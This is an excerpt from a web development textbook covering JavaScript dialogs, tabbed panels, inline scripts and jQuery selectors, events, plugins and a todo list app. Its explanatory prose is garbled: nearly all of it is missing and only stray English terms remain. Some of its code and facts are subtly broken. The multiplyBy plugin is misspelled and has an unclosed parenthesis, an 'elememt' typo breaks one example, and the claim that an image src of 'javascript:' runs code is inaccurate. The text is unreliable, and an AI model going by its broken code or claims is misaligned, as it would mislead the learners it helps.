Professional Web Developer - () JavaScript 116

Prompt Box Message Text Box OK / Cancel Button


var result = prompt("What is your name?");


if( result ) {
// do something that you want to carry on
// if user type something in textbox and click ok
} else {
// do something that you want to carry on
// if user type nothing or click cancel
}

Cancel Blank String ( "" ) OK


Textbox Confirm Box result
Variable

Pop-up Box Default Value Text Box Parameter


- prompt("What is your name?", "John Doe")

Browser Pop-up Box



Code
Pop-up Box Button
Pop-up Box
Website JavaScript Build-in Pop-up Box Modal
Dialog Box
Modal
Dialog Box

4.8 - JavaScript Modal Dialog


Modal Dialog (-) Page

Dialog Box Dialog Box Lightbox

Professional Web Developer - () JavaScript 117

(-) JavaScript Modal Dialog

Dialog Code

<!doctype html>
<html>
<head>
<title>JavaScript Modal Dialog</title>

<style>
html {
background: #efefef;
}

body {
font-family: Arial, Helvetica, sans-serif;
color: #333;
width: 500px;
margin: 30px auto;
padding: 20px;
border: 4px solid #ddd;
background: #fff;
}

h1 {
margin: 0;
padding: 8px;
font-size: 21px;
border-bottom: 1px solid #ddd;
}
Professional Web Developer - () JavaScript 118

p {
font-size: 15px;
line-height: 1.5em;
}
button {
padding: 10px 20px;
}

/* Dialog */
#overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: #000;
opacity: 0.8;
display: none;
}

#dialog {
position: absolute;
top: 16%;
left: 35%;
width: 30%;
border: 4px solid #ccc;
background: #fff;
display: none;
}

#dialog h2 {
margin: 0;
padding: 8px;
background: #ddd;
font-size: 17px;
}
#dialog h2 span {
display: block;
float: right;
padding: 0 5px;
color: #c22;
cursor: pointer;
}
#dialog form {
padding: 20px;
}
input[type=text] {
padding: 6px;
width: 90%;
}
textarea {
padding: 6px;
font-family: Arial, Helvetica, sans-serif;
width: 90%;
height: 140px;
}
Professional Web Developer - () JavaScript 119

input[type=submit] {
padding: 8px 18px;
margin-top: 10px;
}
</style>
</head>
<body>
<h1>This is my awesome website!</h1>

<p>
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
consequat.
</p>

<p>
Ut enim ad minim veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
</p>

<button onClick="showDialog()">Contact Me?</button>

<!-- Dialog -->


<div id="overlay" onClick="hideDialog()"></div>
<div id="dialog">
<h2>Contact Me? <span onClick="hideDialog()">&times;</span></h2>

<form>
<input type="text" placeholder="Your email">
<textarea placeholder="Your message"></textarea>
<input type="submit" value="Send">
</form>
</div>

<script>
function showDialog() {
document.getElementById("overlay").style.display = "block";
document.getElementById("dialog").style.display = "block";
}

function hideDialog() {
document.getElementById("overlay").style.display = "none";
document.getElementById("dialog").style.display = "none";
}
</script>
</body>
</html>

<p> Element Content Lorem Ipsum


Dummy Data

Professional Web Developer - () JavaScript 120

HTML Structure
Dialog Box Element
<div id="overlay"> Page Layer
<div id="dialog"> Button
Modal
Dialog Element

CSS
#overlay #dialog position: absolute;

#overlay width: 100%; height: 100%; Page
opacity: 0.8;
Element

#dialog <h2> Element <span>&times;</span>


&times; (x) HTML Symbol Close
Button

cursor: pointer; CSS Property Property Element


Mouse Mouse Pointer
Pointer

showDialog() hideDialog() JavaScript Function showDialog()


#overlay #dialog Display Style block hideDialog()
#overlay #dialog Display Style none showDialog() Function
<button> onClick <button> Dialog Box
#overlay Page hideDialog()

#dialog <span> onClick #overlay onClick
Close Button (x) #overlay Dialog Box
Modal Dialog

JavaScript ""
Dialog Box Dialog Element
CSS CSS JavaScript
CSS User Interface Develop


Professional Web Developer - () JavaScript 121

4.9 - Tabbed Panels


Tabbed Panels Tab Content Interface

(-) JavaScript Tabbed Panels

(-) Tabbed Panels Tab Panel Tab


Panel Code

<!doctype html>
<html>
<head>
<title>Tabbed Panels</title>
<style>
body {
font-family: Arial, Helvetica, sans-serif;
color: #222;
}
.tab-bar {
list-style: none;
margin: 0;
padding: 10px 10px 0 10px;
background: #c22;
overflow: hidden;
}
.tab-bar li {
padding: 8px 20px;
float: left;
margin-right: 8px;
background: #fff;
cursor: pointer;
}
Professional Web Developer - () JavaScript 122

.panel {
min-height: 200px;
border: 1px solid #c22;
border-top: 0 none;
padding: 15px;
}
#tab-2 {
background: #e55;
}
#panel-2 {
display: none;
}
</style>
</head>
<body>
<ul class="tab-bar">
<li id="tab-1" onClick="switchOne()">Tab One</li>
<li id="tab-2" onClick="switchTwo()">Tab Two</li>
</ul>
<div class="panel" id="panel-1">Panel One</div>
<div class="panel" id="panel-2">Panel Two</div>

<script>
function get(obj) {
return document.getElementById(obj);
}

function switchOne() {
get("tab-1").style.background = "#fff";
get("tab-2").style.background = "#e55";
get("panel-1").style.display = "block";
get("panel-2").style.display = "none";
}

function switchTwo() {
get("tab-1").style.background = "#e55";
get("tab-2").style.background = "#fff";
get("panel-1").style.display = "none";
get("panel-2").style.display = "block";
}
</script>
</body>
</html>

JavaScript Tab Panel


Tabbed Panels Interface
CSS

onClick Event Attribute Tab Click Panel


Click Mouse onClick onMouseOver
Attribute
Professional Web Developer - () JavaScript 123

CSS .panel min-height


min-height Minimal Height height
Content Element
min-height Content
Element

JavaScript get() Function document.


getElementById get() Function
get() Function Parameter document.
getElementById return document.getElementById
get()

Function Function
return
Keyword return Keyword JavaScript undefined

Code

4.10 - External JavaScript


JavaScript Code HTML Document <script> Element
JavaScript .js Extension
Script File <script>
Element

<script src="script.js"></script>

src Attribute Script File

External CSS File <link> Element <link> Element


Empty Element <script> Element Close Tag

<script> Element src Attribute Browser src JavaScript


src Attribute <script> </script>
Code src Attribute
Professional Web Developer - () JavaScript 124

<script> Element JavaScript


4.11 - Inline Script


onClick Event Attribute JavaScript Inline JavaScript
JavaScript HTML Element Inline JavaScript <img> Element,
<a> Element

<img> Element src Attribute onLoad Event Attribute Browser Image


src Attribute

<img src="javascript: doSomething()">

src Attribute Image


JavaScript Code
javascript: Keyword Browser Image
src Attribute
JavaScript Code Run
Developer JavaScript
Code Run <img> Attribute

<a href="javascript: doSomething()">Hyperlink</a>

<a> Element href Attribute javascript: Keyword


JavaScript Code Link Browser href
Attribute JavaScript Code Run
<button> Link
Link Button

Inline JavaScript Inline CSS JavaScript


Element
onClick Event Attribute Event Binding
JavaScript HTML Event Binding
() jQuery
Professional Web Developer - () JavaScript 125

Conclusion
JavaScript document.getElementById() Selector

document.getElementsByTagName()
document.getElementsByClassName()
document.querySelectorAll()

style, innerHTML DOM Attribute title, alt, id,


class, value, type
JavaScript Framework
JavaScript Language HTML/CSS

jQuery Framework ()

NodeJS JavaScript Server-side Programing Language


JavaScript
Software Development JavaScript Client-side Script
Command Line Tool Web Server Network Service
NodeJS, BackboneJS, ExpressJS
JavaScript Development Rockstar
Developer ()

(,)

() ()
Professional Web Developer - () jQuery 127

() jQuery
Web App

Macromedia Rich Internet App (RIA)


HTTP App
RIA Concept Web
Standards Web Standard HTML, CSS,
JavaScript App



Macromedia Flash ( Adobe Flash), JavaFX Microsoft Silverlight Plugin

Macromedia Adobe Macromedia


Adobe RIA
Web App

Flash, Silverlight Browser Plugin


Audio/Video Streaming, 2D/3D Rendering HTML
Plugin Browser
Install Plugin

- Microsoft Silverlight Linux OS Adobe Flash
Apple Product Adobe, Microsoft
Standard


Professional Web Developer - () jQuery 128

- Plugin HTML Web Standard Rich


Internet App JavaScript Framework Plugin
App
Framework HTML5
Plugin Video/Audio, Multimedia

Standard

JavaScript Framework jQuery


5.1 - Framework
Library, API, Toolkit, Framework Terminology

(-) Framework Terminologies

JavaScript Programming Language


DOM Selector DOM Attributes API (DOM API)
API Application Program Interface App
Function Call
JavaScript Language
Professional Web Developer - () jQuery 129

DOM API
DOM Manipulation

Code Code
Library (-) JavaScript Code Library
Utility Library
Widget Toolkit User Interface Component Library
Library API Library Programming Language
Code
API Language Language Language
API

Code Library API Pattern Convention Framework


Pattern 3-Tires Architecture, MVC, MVVM Code
Organize Pattern
Program Convention

Framework
Code
Framework
Compiler Debugger Template Engine Test Framework

Library Framework

Library Library Library Framework

5.2 - jQuery
jQuery JavaScript Utility Framework DOM Manipulation
Ajax Framework "Write less, Do more"
jQuery jQuery Code

Barcamp NYC John Resig Developer jQuery



Website % jQuery
jQuery JavaScript Framework
Professional Web Developer - () jQuery 130

jQuery DOM Manipulation, Ajax Plugin ()


DOM
Plugin Ajax
Server-side
() Ajax with jQuery jQuery
JavaScript Nameless Function JSON

5.3 - Nameless Functions


Nameless Function Function

Sub-Program Anonymous Function JavaScript Function
First Class Citizen Function
Function Function Function
Variable
Assign Function
Function Parameter First Class
Function Variable

var foo = function () {


// statements
}

foo Variable Function


Assign Function Function Name
Function Nameless Function Anonymous Function

foo Variable Function


Function Evaluate
Function foo() foo
Variable foo Variable Function Evaluate

Function
Function Sub-Program

(function foo() {
// statements
})();
Professional Web Developer - () jQuery 131

Nameless Function

Function
Function Evaluate
Function Code
Sub-program

Nameless Function Callback -

var i;

function add( a, b, fn ) {
i = a + b;
fn();
}

add(24, 13, function() {


alert( 'done adding 24 and 13 into i' );
});

add() Function Callback Function


Parameter
add() Function Callback
Function Function
Function Callback jQuery

5.4 - JSON (JavaScript Object Notation)


JSON Data Interchange Format
Service
Oriented Architecture (SOA) SOA Service
Data Format XML, YAML
JSON JSON Data Interchange
Format

Data Interchange Format JavaScript Object


JSON Object-Oriented Programming Object Class
JavaScript OOP Language Class
Object Constructor () JSON Object

Professional Web Developer - () jQuery 132

SOA Rockstar Developer () JavaScript Object Constructor


Rockstar Developer () JSON
""

JSON Hash Array Hash Array


Language Associated Array Language Collection,
Dictionary JavaScript Hash Array JSON

Classical OOP Language Object

class Car
{
var wheels = 4;
var fuel = 60;

function drive() {
this.fuel -= 5;
// do something else
}
}

var toyota = new Car();


print toyota.wheels; # => 4

toyota.drive();
print toyota.fuel; # => 55

Car Class Class Instantiate toyota Object


var toyota = new Car() Statement Toyota

Car Class
toyota Object wheels fuel Property drive() Method

toyota.wheels wheels Property 4


toyota.drive() drive() Method Evaluate Method
fuel Property 5 toyota.fuel
fuel Property 60 55

Language
Constructor Access Control Setter/Getter
Professional Web Developer - () jQuery 133

JavaScript Object JSON


var toyota = {
wheels: 4,
fuel: 60,
drive: function () {
this.fuel -= 5;
// do something else
}
};

toyota JavaScript Object JSON Object Literal


toyota wheels, fuel drive
Index Array () JavaScript Array
Array Numeric Array Array Index
0, 1, 2, 3 JSON Hash Array Index
Array

Index Comma ( , ) Index Property Value



Colon ( : ) drive Index Value Nameless
Function

Object
OOP Language Dot ( . ) Object Operator

toyota.wheels; # => 4
toyota.wheels = 6;
toyota.wheels; # => 6
toyota.drive();
toyota.fuel; # => 55

JavaScript Code
Professional Web Developer - () jQuery 134

5.5 - DOM Manipulation with jQuery


jQuery JavaScript Object Function
jQuery JavaScript
JavaScript jQuery Object
Function

Programming Language Libraries Framework


jQuery JavaScript Library Framework
JavaScript App


jQuery Function
Framework Framework

() JavaScript HTML Element JavaScript


Element Select document.getElementById DOM Selector
jQuery jQuery Object jQuery Object jQuery
$ Sign $ Sign jQuery Object
$ Sign jQuery Object

$ Sign

jQuery Selector Element CSS Selector Select


jQuery("p.note") () $("p.note") class="note"
<p> Element Select p.note
()
Element Selector, ID Selector, Dependent Selector, Child Selector,
Attribute Selector, Group Selector, Pseudo-class CSS Selector

$("p") - <p> Element Select


$("div p") - <div> <p> Element Select
$(".des") - class="des" Element Select
$("#nav a") - id="nav" Element <a> Element Select
$("h1, h2, h3") - <h1> <h2> <h3> Element Select
$("input[type=text]:focus") - Focus <input type="text"> Select

Professional Web Developer - () jQuery 135

JavaScript Element document.getElementById Select Element


Content innerHTML Style style
jQuery Select Element Content html() Function
Style css() Function

var element = $("#note");


elememt.html("Hello from jQuery");
element.css("color", "red");

()

$("#note").html("Hello from jQuery").css("color", "red");

css() Function Parameters CSS Property CSS


Value Style

Style Property JSON Parameter

$("#note").css("color", "red").css("background-color", "yellow");

()

$("#note").css( { "color": "red", "background-color": "yellow" } );

css() Function html()


Function css() Function jQuery Function
Select Object Select Element
jQuery Function

Professional Web Developer - () jQuery 136

5.6 - Getting jQuery


jquery.com jQuery Version Download

(-) jquery.com Website

Version 3.1.1 jQuery


Download <script> Element HTML Document

<!doctype html>
<html>
<head>
<title>Hello jQuery</title>
</head>
<body>
<p id="note">Hello, World!</p>

<script src="jquery.js"></script>
<script>
$("#note").html( "Hello from jQuery!" );

$("#note").css({
"color": "red",
"background-color": "yellow",
"padding": "10px"
});
</script>
</body>
</html>
Professional Web Developer - () jQuery 137

<script> Element src Attribute jquery.js jquery.js File


Path Name

id="note" <p> Element Element Content "Hello,


World!" jquery.js File <script> Element src Attribute
<script> Element
JavaScript

$("#note").html( "Hello from jQuery!" );

- #note Element Content "Hello, World!" "Hello


from jQuery!" Style css() Function
#note Element CSS Style
padding 10px

5.7 - jQuery DOM Functions


jQuery Object DOM Function
Function

$(selector).hide() - Element JavaScript


Function CSS display Property none
jQuery hide() Function CSS display none
css() Function Element
Duration -

$("#note").hide("slow");

hide() Function "slow" Duration


#note Element Animation Effect
"slow" "fast" millisecond

- $("#note").hide(400) Animation 400 milliseconds
400

-------------------------------------------------------------------------
Professional Web Developer - () jQuery 138

$(selector).show() - hide() Element


hide() Duration

hide()

-------------------------------------------------------------------------

$(selector).toggle() - show() hide()



show() hide()
Duration

-------------------------------------------------------------------------

$(selector).slideToggle() - toggle()
Effect Slide
Animation Duration
Effect
Duration

-------------------------------------------------------------------------

$(selector).fadeIn() - show()
Fade Effect
Duration

-------------------------------------------------------------------------

$(selector).fadeOut() - hide() Fade Effect


Duration

Function Callback Function Callback Function



$("#note").fadeOut("slow", function() {
alert("Done Hiding the Note.");
});

fadeOut() Function Nameless Function Callback


fadeOut() millisecond Element Animation Effect
Element
Callback
Function Evaluate #note Fade Effect
"Done Hiding the Note." Message Alert Box

Professional Web Developer - () jQuery 139

(-) jQuery DOM Function

-------------------------------------------------------------------------

$(selector).html() - Element Content



Content -

var content = $("#note").html();

content Variable #note Element Content

-------------------------------------------------------------------------
Professional Web Developer - () jQuery 140

$(selector).text() - html() Content


HTML Text -

$(selector).text("<b>Hello</b>");

text() Function "<b>Hello</b>" "&lt;b&gt;Hello&lt;b&gt;"


Content

-------------------------------------------------------------------------

$(selector).val() - Form Input Element value ()


-

$("#fname").val("John");
var first= $("#fname").val();

-------------------------------------------------------------------------

$(selector).append() - Element Content html() Function


Content Function

-------------------------------------------------------------------------

$(selector).prepend() - append() Content


-------------------------------------------------------------------------

$(selector).appendTo() - Select Element Element



-

$("li").appendTo("ul#menu");

Select <li> Element #menu Element


Content Element

-------------------------------------------------------------------------
Professional Web Developer - () jQuery 141

$(selector).prependTo() - appendTo() Element


Element

-------------------------------------------------------------------------

$(selector).clone() - Select Element Element


-

$("li").clone().prependTo("#menu");

Select <li> Element #menu


Element

-------------------------------------------------------------------------

$(selector).wrap() - Select Element Element


-

$("p#note").wrap("<div>");

Select <p> Element Structure <div><p id="note"> ... </p></div>


-------------------------------------------------------------------------

$(selector).wrapInner() - wrap() Select Element


-

$("p#note").wrapInner("<div>");

Select <p> Element Structure <p id="note"><div> ... </div></p>

-------------------------------------------------------------------------
Professional Web Developer - () jQuery 142

$(selector).css() - Element Style


Property -

var color = $("#note").css("color");

color Variable #note Element color Value

-------------------------------------------------------------------------

$(selector).height() - Element ()

$("#note").height("400px") #note Element height Style 400px


CSS height Value

-------------------------------------------------------------------------

$(selector).width() - height() Element


-------------------------------------------------------------------------

$(selector).offset() - Element Position Top


Left JSON -

var pos = $("#note").offset();


pos.left; // #note Element Left Position
pos.top; // #note Element Top Position

-------------------------------------------------------------------------

$(selector).attr() - Select Element Attribute Value ()


-

$("a.back").attr("title", "Go Back");


Professional Web Developer - () jQuery 143

class="back" <a> Element title Attribute Value "Go Back"


var text = $("img#thumb").attr("alt");

text Variable #thumb Element alt Value

-------------------------------------------------------------------------

$(selector).addClass() - Select Element class

$("#note").addClass("active")
#note Element active
class Value

Element Class - <div class="row center


clear-fix"> <div> Element row, center, clear-fix Class ()
addClass() Class Class

-------------------------------------------------------------------------

$(selector).removeClass() - addClass() Element Class


-------------------------------------------------------------------------

$(selector).toggleClass() - addClass() removeClass()


-------------------------------------------------------------------------

$(selector).data() - JavaScript App Element


data Attribute data Attribute HTML5
Standard Attribute -

<ul id="fruits">
<li data-id="123" data-type="sweet">Papaya</li>
</ul>
Professional Web Developer - () jQuery 144

<li> Element data-id data-type

var id= $("#fruits li").data("id");

id Variable <li> Element data-id Value Data Value


$("#fruits li").data("type", "very-sweet");

$("#fruits li").attr("data-type", "very-sweet")


data() Function data Attribute attr() Function
Shortcut

-------------------------------------------------------------------------

$(selector).parent() - Select Element Parent Element


-------------------------------------------------------------------------

$(selector).is(selector) - Element Select Element


Parameter Selector true false
- $("#nav").is("ul") Select #nav <ul>
Element true $("input#email").is(":focus")
Select #email <input> Focus true

-------------------------------------------------------------------------

Function DOM Manipulation jQuery


JavaScript



Events
Professional Web Developer - () jQuery 145

5.8 - jQuery Events


HTML Element onClick, onMouseOver, onKeyPress Event Attribute
JavaScript Function
() jQuery HTML Event Attribute
JavaScript Element Event
JavaScript jQuery

(-) jQuery Click Event

(-) click() Function <button> Click


click() Function Parameter Nameless Function Evaluate
onClick Attribute <button>

<!doctype html>
<html>
<head>
<title>jQuery Click Event</title>
</head>
<body>
<div id="note">Hello, World!</div>
<button>Toggle</button>

<script src="jquery.js"></script>
<script>
$("button").click( function () {
$("#note").slideToggle("fast");
});
</script>
</body>
</html>
Professional Web Developer - () jQuery 146

<button> Click
Function
#note Element Slide Effect <button> #note
Element jQuery Event Function

$(selector).click() - Element Click Function


-------------------------------------------------------------------------

$(selector).dblclick() - Element Double Click


Function

-------------------------------------------------------------------------

$(selector).mouseenter() - Element Mouse


Function

-------------------------------------------------------------------------

$(selector).mouseleave() - Element Mouse


Function

-------------------------------------------------------------------------

$(selector).mousemove() - Element Mouse Mouse

Function

-------------------------------------------------------------------------

$(selector).hover() - mouseenter() mouseleave()


hover() Function Function mouseenter()
mouseleave() -

$("a.back").hover(function() {
...
}, function() {
...
});

-------------------------------------------------------------------------
Professional Web Developer - () jQuery 147

$(selector).focus() - Element Focus Function


-------------------------------------------------------------------------

$(selector).blur() - Element Focus Focus Lost


Function

-------------------------------------------------------------------------

$(selector).keydown() - Element Focus Keyboard Key


Function Key

-------------------------------------------------------------------------

$(selector).keyup() - keydown() Key

Function

-------------------------------------------------------------------------

$(selector).keypress() - keyup() Key


Process Function
Esc Shift Ctrl Key

-------------------------------------------------------------------------

$(selector).scroll() - Element Focus Scroll Wheel Scroll Bar


Scroll Function

-------------------------------------------------------------------------

$(selector).change() - Element Function


Form Input Element

-------------------------------------------------------------------------

$(selector).submit() - Form Submit Button


Function
<form> Element
Professional Web Developer - () jQuery 148

$(selector).ready() - ready() Function


document Object
Document Element Load
Function

-------------------------------------------------------------------------

click(), focus() Event Function on() Method


-

$("button").on( "click", function () {


$("#note").slideToggle("fast");
});

jQuery Version click() Function


on("click")
click(), focus(), mouseover() Function
on("click"), on("focus"), on("mouseover")




5.9 - Menu Boxes Example


Menu
Boxes

(-) jQuery Slide Menu


Professional Web Developer - () jQuery 149

(-) Box
Document Type Declaration <html> <head> <body>

HTML Document Structure <body> Element

<div class="box">
<h3>Products</h3>
<ul>
<li><a href="#">Icon Pack</a></li>
<li><a href="#">Texture Set</a></li>
<li><a href="#">Design Template</a></li>
</ul>
</div>

<div class="box">
<h3>Services</h3>
<ul>
<li><a href="#">Web Design</a></li>
<li><a href="#">Logo Design</a></li>
<li><a href="#">Web Development</a></li>
</ul>
</div>

<div class="box">
<h3>Connect</h3>
<ul>
<li><a href="#">Facebook</a></li>
<li><a href="#">Twitter</a></li>
<li><a href="#">Google+</a></li>
</ul>
</div>

<style> CSS Style

.box {
width: 220px;
border: 1px solid #a22;
padding: 1px;
margin-bottom: 8px;
}

.box h3 {
color: #fff;
background: #c22;
padding: 8px;
margin: 0;
cursor: pointer;
}
Professional Web Developer - () jQuery 150

.box h3.up {
color: #d99;
}

.box a {
color: #900;
}

HTML CSS
HTML/CSS .box h3.up { }
up Class Element

<script src=""> jquery.js File <script>


JavaScript

$("h3").click(function() {

var parent = $(this).parent();


$("ul", parent).slideToggle("fast");
$(this).toggleClass("up");

});

<h3> Element
click() Function
$(this) Click
Element Select

var parent = $(this).parent() Click <h3> Parent Element


Select parent Variable

$("ul", parent) parent <ul> Select


parent Filter
jQeury Document <ul>
Select Click <h3> Parent Element <div> <ul>
Select slideToggle() <ul>
Click <h3> <ul>

<script> Element <body> Element


<script> Element jquery.js File Element

Code
Professional Web Developer - () jQuery 151

jQuery DOM Selector Filter (-)

toggleClass()
Click <h3> up Class up
Class Box Title
Box Title

App jQuery
DOM Ready Event jQuery DOM Object

5.10 - DOM Ready Event

JavaScript

$("h3").click(function() { }) Statement
<h3> Element onClick Event Function Browser
Document Element

<h3> Element JavaScript <h3>

Code Code Base Structure



jQuery Code ready() Function
Menu Boxes Script

$(document).ready( function() {

$("h3").click(function() {

var parent = $(this).parent();


$("ul", parent).slideToggle("fast");
$(this).toggleClass("up");

});

});

$(document).ready() Code jQuery Document


Element jQuery Code Document
Professional Web Developer - () jQuery 152

Ready Event Element


Code

ready() Function Select CSS Selector document


JavaScript Build-in Object document JavaScript Object CSS
Selector Quote

$(document).ready()

$(function() {
$("h3").click(function() {
var parent = $(this).parent();
$("ul", parent).slideToggle("fast");
$(this).toggleClass("up");
});
});

document Object ready() Function jQuery Nameless


Function $(document).ready()


$(document).ready()

5.11 - Creating jQuery DOM Objects


jQuery Element Select Element
- <input> Element jQuery <form> Element

var textInput = $("<input>", {


"type": "text",
"value": "John Doe",
"name": "user-name",
"id": "full-name"
});

$("form").append( textInput );

jQuery Object $ Sign Parameter


Element Element Attribute Attribute
JSON
Professional Web Developer - () jQuery 153

<input type="text" value="John Doe" name="user-name" id="full-name">

App

5.12 - jQuery Todo List App


Programming Language Program
"Hello, World!" Program Todo List App
"Hello, World!" Language
App Task
Task App
(-)

(-) jQuery Todo List App

HTML Structure
Professional Web Developer - () jQuery 154

<div id="wrap">
<h1>Task List <span>0</span></h1>

<ul id="tasks"></ul>
<ul id="done"></ul>

<div id="new-task">
<input type="text"><button>+</button>
</div>
</div>

HTML Structure <body>


<style> CSS

#wrap {
width: 360px;
margin: 20px auto;
padding: 20px;
border: 6px solid #DDD;
overflow: hidden;
}

h1 {
margin: 0 0 20px 0;
padding: 0 0 5px 0;
font-size: 18px;
border-bottom: 1px solid #DDD;
}

h1 span {
float: right;
display: block;
background: #9cf;
font-size: 12px;
padding: 2px 6px;
color: #FFF;
}

ul {
list-style: none;
margin: 0; padding: 0;
}

ul li {
overflow: hidden;
padding: 4px 0;
}

li input, li span {
float: left;
margin-right: 6px;
}
Professional Web Developer - () jQuery 155

li a {
float: right;
text-decoration: none;
font-weight: bold;
color: #900;
padding: 0 8px;
display: none
}

li:hover a {
display: inline;
}

#new-task {
margin-top: 20px;
padding-top: 10px;
border-top: 1px solid #efefef;
overflow: hidden;
}

#new-task input {
border: 1px solid #DDD;
border-right: 0 none;
padding: 2px;
width: 240px;
height: 20px;
float: left;
}
#new-task button {
width: 30px;
border: 1px solid #DDD;
background: #eee;
font-weight: bold;
color: #666;
padding: 2px 2px 3px 2px;
float: left;
}

#done {
line-height: 18px;
margin-bottom: 10px;
}

#done span {
text-decoration: line-through;
font-size: 12px;
color: #999;
}

HTML/CSS
<script src=""> jquery.js File <script>
JavaScript
Professional Web Developer - () jQuery 156

$(document).ready(function() {
$("#new-task button").click(function() {
var task = $("#new-task input").val();

if(!task) return false;

buildTask(task).appendTo("#tasks");
$("h1 span").html( $("#tasks li").length );

$("#new-task input").val("").focus();
});

$("#new-task input").keydown(function(e) {
if(e.which == 13)
$("#new-task button").click();
});
});

function buildTask(msg) {
var checkbox = $("<input>", {
type: "checkbox"
}).click(function() {
if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
}

$("h1 span").html( $("#tasks li").length );


});

var task = $("<span>").html(msg);

var del = $("<a>", {


href: "#"
}).html("&times;").click(function() {
$(this).parent().remove();
$("h1 span").html( $("#tasks li").length );
});

return $("<li>").append(checkbox).append(task).append(del);
}

Code Document Browser



Task Task
Check App Code

Document Ready <button> Click Event



Text Input task Variable task
Variable Blank
Professional Web Developer - () jQuery 157

var task = $("#new-task input").val();

if(!task) return false;

task

Click Event

buildTask() Function task Variable Parameter


buildTask() Function Element
<li> buildTask() Function
<li> Element appendTo() Function #tasks Input
Text Box Task #tasks <li> Element

#tasks <li> jQuery Select


JavaScript Property .length
<h1> <span> Element Content
Task

Text Input val("")


focus() Function Text Input Cursor
Task

Text Input Keydown Event


Button Click
Text Input Enter Button
Keydown
Function e Event Object
Event Object e.which == 13
Key Keycode 13 Keycode 13
Enter Key Backspace Keycode 8 Esc Keycode 27
Task Button Text Box Enter

Key Code

Backspace = 8, Tab = 9, Enter = 13, Shift = 16, Ctrl = 17, Alt = 18, Caps Lock = 20, Esc = 27 , Space = 32,
F1 = 112 ... F12 = 123

Keycode Keypress, Keyup Keydown Event


http://unixpapa.com/js/key.html
Professional Web Developer - () jQuery 158

buildTask() Function Code Block

var checkbox = $("<input>", {


type: "checkbox"
}).click(function() {
if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
}

$("h1 span").html( $("#tasks li").length );


});

Check Box jQuery checkbox Variable


Checkbox Element Click Event
Click Event Checkbox Click Check Uncheck
is() Function Check Check Box Parent
Element #done Uncheck #tasks

var task = $("<span>").html(msg);

<span> Element
Function msg Variable
Element Content Task Delete Link

var del = $("<a>", {


href: "#"
}).html("&times;").click(function() {
$(this).parent().remove();
$("h1 span").html( $("#tasks li").length );
});

jQuery <a> Element


Element Content &times; Symbol
&times; Symbol ( ) Cross Delete Sign
Click Event Click Parent Element

return $("<li>").append(checkbox).append(task).append(del);

Element <li> Element Content



Function Element Event
Professional Web Developer - () jQuery 159

<li> Element

Todo List App App jQuery


App Browser
Browser Refresh
Cookie HTML5
localStorage User
Interface () Ajax with
jQuery

5.13 - jQuery Plugins


jQuery Plugins Plugins jQuery
Framework
jQuery

Developer Plugin
jQuery Plugins
Project Plugins Developer
Plugin
jQuery Plugins

jQuery - Function

$.fn.muliplyBy = function(n) {
this.each(function() {
var content = $(this).html();
for(i=1; i<n; i++) {
$(this).append(content);
}
}
};

jQuery multiplyBy() Function


Function
Select Element Content $("ul").multiplyBy(5)
<ul> Element Content () jQuery Selector

Professional Web Developer - () jQuery 160

plugins.jquery.com, unheap.com, jquerylist.com Website


Plugin plugins.jquery.com Official Directory

(-) plugins.jquery.com

Plugin Plugin
Document jQuery File Plugin File <script> Element
Plugin CSS File
CSS File <link> Element

Plugin Plugin Developer


Plugin
Documentation Manual

jQuery UI jQuery UI jQuery Core Team


Project User Interface
Accordion, Autocomplete, Button, Datepicker, Dialog, Menu, Progressbar, Slider, Spinner,
Tabs, Tooltip Widget Drag-n-drop, Resizable
Animation Effect
Professional Web Developer - () jQuery 161

jQuery UI jqueryui.com Download


jQuery UI Download
Archive Extract HTML Document
<body>

<input type="text" id="date">

<script> Element

<script src="jquery.js"></script>
<script src="jquery-ui.js"></script>
<script>
$(document).ready(function() {
$("#date").datepicker();
});
</script>

jQuery UI jQuery Plugin jquery.js


jquery.js Downlod jquery-ui.js
Document Ready #date Select datepicker()
Function datepicker() Function jQuery UI
Function #date Element Click (-)

#date Element Value Date Datepicker

(-) jQuery UI Datepicker Example


Professional Web Developer - () jQuery 162

CSS Style CSS


Download CSS <head>

<link rel="stylesheet" href="jquery-ui.css">

(-) CSS Style


(-) jQuery UI Datepicker Example with Style

jQuery Validate Plugin Form Input


Format Pligin
Plugin Download jqueryvalidation.org
HTML Document <body>
HTML Form
Professional Web Developer - () jQuery 163

<form id="comment" action="">


<p>
<label for="cname">Name (required, at least 2 characters)</label>
<input id="cname" type="text" name="name">
<p>
<label for="cemail">E-Mail (required)</label>
<input id="cemail" type="text" name="email" />
</p>
<p>
<label for="curl">URL (optional)</label>
<input id="curl" type="text" name="url" />
</p>
<p>
<label for="ccomment">Your comment (required)</label>
<textarea id="ccomment" name="comment"></textarea>
</p>
<p>
<input class="submit" type="submit" value="Submit"/>
</p>
</form>

Download Archive Extract jquery.validate.js


<script> Element #comment Form
Select validate() Function Validation Rule

<script src="jquery.js"></script>
<script src="jquery.validate.js"></script>
<script>
$(document).ready(function(){

$("#comment").validate({
rules: {
name: {
"required": true,
"minlength": 2
},
email: {
"required": true,
"email": true
},
comment: {
"required": true
}
}
});

});
</script>

Validation Rules JSON Input Box name Attribute


Professional Web Developer - () jQuery 164

Rules
Submit Button rules
validate() Function Element Error Message

Rules Message
Rules Validate Plugin Default Message

(-) jQuery Validate Plugin Example

(-) Rule Element Error Message


Element Error Message Error
CSS Plugin CSS

label {
display: block;
color: #555;
}

label.error {
color: #900;
font-style: italic;
}

Plugin jQuery DataTable Plugin DataTable Plugin


HTML Table Data Grid Sort, Filter, Per Page Selector, Paging
Plugin Download datatables.net
Professional Web Developer - () jQuery 165

(-) jQuery DataTable Plugin

Grid HTML Table Select


dataTable() Function
DataTable
Plugin

$("table").dataTable();

Table Record
Download

Conclusion
Plugin Plugin Image Gallery, Slideshow, Scrollable,
Video/ Audio Player, Carousel, Chart & Graph, Navigation Menu, Page Scroller, Rich Text Editor
Plugin User Interface

Professional Web Developer Course

- ()

